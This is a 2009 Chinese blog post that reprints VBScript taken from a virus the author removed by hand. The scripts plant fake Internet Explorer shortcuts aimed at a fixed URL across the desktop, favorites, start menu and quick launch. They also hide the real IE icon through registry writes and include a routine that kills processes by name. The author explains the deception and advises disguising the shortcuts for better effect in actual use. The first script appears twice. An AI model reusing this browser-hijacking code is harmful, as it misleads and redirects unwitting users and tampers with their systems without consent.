手动杀毒后的收获
作者:蛛蛛虎 日期:2009-11-10
代码片段一、
复制内容到剪贴板
程序代码
程序代码Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\蛛蛛虎`s Blog.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(Favorites & "\蛛蛛虎`s Blog.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink.Hotkey = "" : '快捷键
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\蛛蛛虎`s Blog.url")
oUrlLink.TargetPath = "http://www.spiger.cn"
oUrlLink.Save
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("StartMenu")&
"\"&"Internet Explorer.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink1.Hotkey = "" : '快捷键
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")&
"\Microsoft\Internet Explorer\Quick Launch"&"\蛛蛛虎`s Blog.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
wscript.quit
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\蛛蛛虎`s Blog.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oShellLink = WshShell.CreateShortcut(Favorites & "\蛛蛛虎`s Blog.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink.Hotkey = "" : '快捷键
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Set oUrlLink = WshShell.CreateShortcut(Favorites & "\蛛蛛虎`s Blog.url")
oUrlLink.TargetPath = "http://www.spiger.cn"
oUrlLink.Save
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("StartMenu")&
"\"&"Internet Explorer.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink1.Hotkey = "" : '快捷键
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")&
"\Microsoft\Internet Explorer\Quick Launch"&"\蛛蛛虎`s Blog.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式
wscript.quit
分析:①上述代码第二段定义了两个变量:Desktop、Favorites分别指桌面和收藏夹。
②第三到七段分别在桌面、收藏夹、收藏夹(精简写法实现)、开始菜单、快速启动栏里添加名为蛛蛛虎`s Blog指向URL为http://www.spiger.cn的快捷方式。
代码片段二、
复制内容到剪贴板
程序代码
程序代码Set WshShell = WScript.CreateObject("WScript.Shell")
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Hi
deDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}"
RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Hi
deDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}"
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWrite RegPath,Key_Data,Type_Name
WshShell.RegWrite RegPath1,Key_Data,Type_Name
Dim WSHShell, strDesktop
Set WSHShell = WScript.CreateObject("WScript.Shell")
strDesktop = WSHShell.SpecialFolders("Desktop")
WSHShell.AppActivate strDesktop
WSHShell.SendKeys "{F5}"
Sub ProcessKiller(ProcessName)
On Error Resume Next
Dim WMI,objProcess,Process
Dim MsgStr
Dim isKilled
isKilled=False
Set WMI=GetObject("WinMgmts:")
Set Process=WMI.InstancesOf("Win32_Process")
For Each objProcess In Process
If InStr(ProcessName,".")>0 Then
If objProcess.name=ProcessName Then
objProcess.Terminate
End If
Else
If InStr(objProcess.ExecutablePath,ProcessName)>0 Then
objProcess.Terminate
End If
End If
If Err Then Err.Clear
Next
Set Process=Nothing
Set WMI=Nothing
End Sub
wscript.quit
分析:①上述代码第二段删除桌面IE,目的只有删除了桌面IE图标别人才会点开的快捷方式当作IE来用。补充下:代码一里面的快捷方式图标、名称我都是写的本Blog的,实际使用中伪装下效果更佳。
②第三段代码应该是保护作用吧,我没太看懂。
③第二段中的,HideDesktopIcons\ClassicStartMenu\,为了排版的美观,我在Hi后加了个回车,想实验此程序代码的请注意。关于XP系统桌面图标的问题可以参阅:http://www.spiger.cn/article/note/131.html
评论: 0 | 引用: 0 | 查看次数: -
发表评论


上一篇:
下一篇:
文章来自:
Tags:
相关日志: